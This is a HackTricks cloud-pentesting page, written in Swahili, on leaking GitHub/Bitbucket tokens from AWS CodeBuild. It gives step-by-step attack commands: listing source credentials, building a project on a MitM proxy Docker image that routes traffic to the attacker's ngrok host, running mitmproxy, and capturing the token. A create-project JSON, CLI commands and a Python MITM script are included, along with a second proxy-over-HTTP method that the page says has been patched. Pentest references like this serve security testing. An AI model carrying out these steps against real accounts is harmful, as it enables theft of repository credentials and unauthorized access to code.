AWS Codebuild - Token Leakage

Support HackTricks

Pata Tokeni za Github/Bitbucket Zilizosanidiwa

Kwanza, angalia kama kuna hati za chanzo zilizosanidiwa ambazo unaweza kuvuja:

aws codebuild list-source-credentials

Kupitia Picha ya Docker

Ikiwa utagundua kuwa uthibitishaji kwa mfano Github umewekwa kwenye akaunti, unaweza kuiba hiyo upatikanaji (GH token au OAuth token) kwa kufanya Codebuild itumia picha maalum ya docker kuendesha ujenzi wa mradi.

Kwa kusudi hili unaweza kuunda mradi mpya wa Codebuild au kubadilisha mazingira ya moja iliyopo kuweka picha ya Docker.

Picha ya Docker unayoweza kutumia ni https://github.com/carlospolop/docker-mitm. Hii ni picha ya Docker ya msingi sana ambayo itaweka env variables https_proxy, http_proxy na SSL_CERT_FILE. Hii itakuruhusu kunasa trafiki nyingi ya mwenyeji iliyoonyeshwa katika https_proxy na http_proxy na kuamini SSL CERT iliyoonyeshwa katika SSL_CERT_FILE.

  1. Unda na Pakia picha yako ya Docker MitM

  • Fuata maagizo ya repo kuweka anwani ya IP ya wakala wako na kuweka SSL cert yako na jenga picha ya docker.

  • USIWEKE http_proxy ili usinase maombi kwa endpoint ya metadata.

  • Unaweza kutumia ngrok kama ngrok tcp 4444 kuweka wakala kwa mwenyeji wako

  • Mara tu unapokuwa na picha ya Docker iliyojengwa, ipakie kwenye repo ya umma (Dockerhub, ECR...)

  1. Weka mazingira

  • Unda mradi mpya wa Codebuild au badilisha mazingira ya moja iliyopo.

  • Weka mradi kutumia picha ya Docker iliyotengenezwa awali

  1. Weka wakala wa MitM kwenye mwenyeji wako

  • Kama ilivyoonyeshwa katika repo ya Github unaweza kutumia kitu kama:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Toleo la mitmproxy lililotumika ni 9.0.1, iliripotiwa kuwa na toleo la 10 hili linaweza lisifanye kazi.

  1. Endesha build & kamata vitambulisho

  • Unaweza kuona token kwenye Authorization header:

Hili linaweza pia kufanywa kutoka aws cli na kitu kama

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Kupitia itifaki ya HTTP

Udhaifu huu ulirekebishwa na AWS wakati fulani wiki ya tarehe 20 Februari 2023 (nadhani Ijumaa). Kwa hivyo mshambulizi hawezi kuutumia tena :)

Mshambulizi mwenye ruhusa za juu katika CodeBuild anaweza kuvuja token ya Github/Bitbucket iliyosanidiwa au kama ruhusa zilisanikishwa kupitia OAuth, token ya muda ya OAuth inayotumika kufikia msimbo.

  • Mshambulizi anaweza kuongeza vigezo vya mazingira http_proxy na https_proxy kwenye mradi wa CodeBuild akielekeza kwenye mashine yake (kwa mfano http://5.tcp.eu.ngrok.io:14972).

  • Kisha, badilisha URL ya repo ya github kutumia HTTP badala ya HTTPS, kwa mfano: **http://**github.com/carlospolop-forks/TestActions

  • Kisha, endesha mfano wa msingi kutoka https://github.com/synchronizing/mitm kwenye bandari iliyowekwa na vigezo vya proxy (http_proxy na https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Hatimaye, bonyeza Jenga mradi, credentials zitatumwa kwa maandishi wazi (base64) kwa bandari ya mitm:

Sasa mshambuliaji ataweza kutumia token kutoka kwenye mashine yake, orodhesha haki zote ilizonazo na (ab) kutumia kwa urahisi zaidi kuliko kutumia huduma ya CodeBuild moja kwa moja.

Support HackTricks

Last updated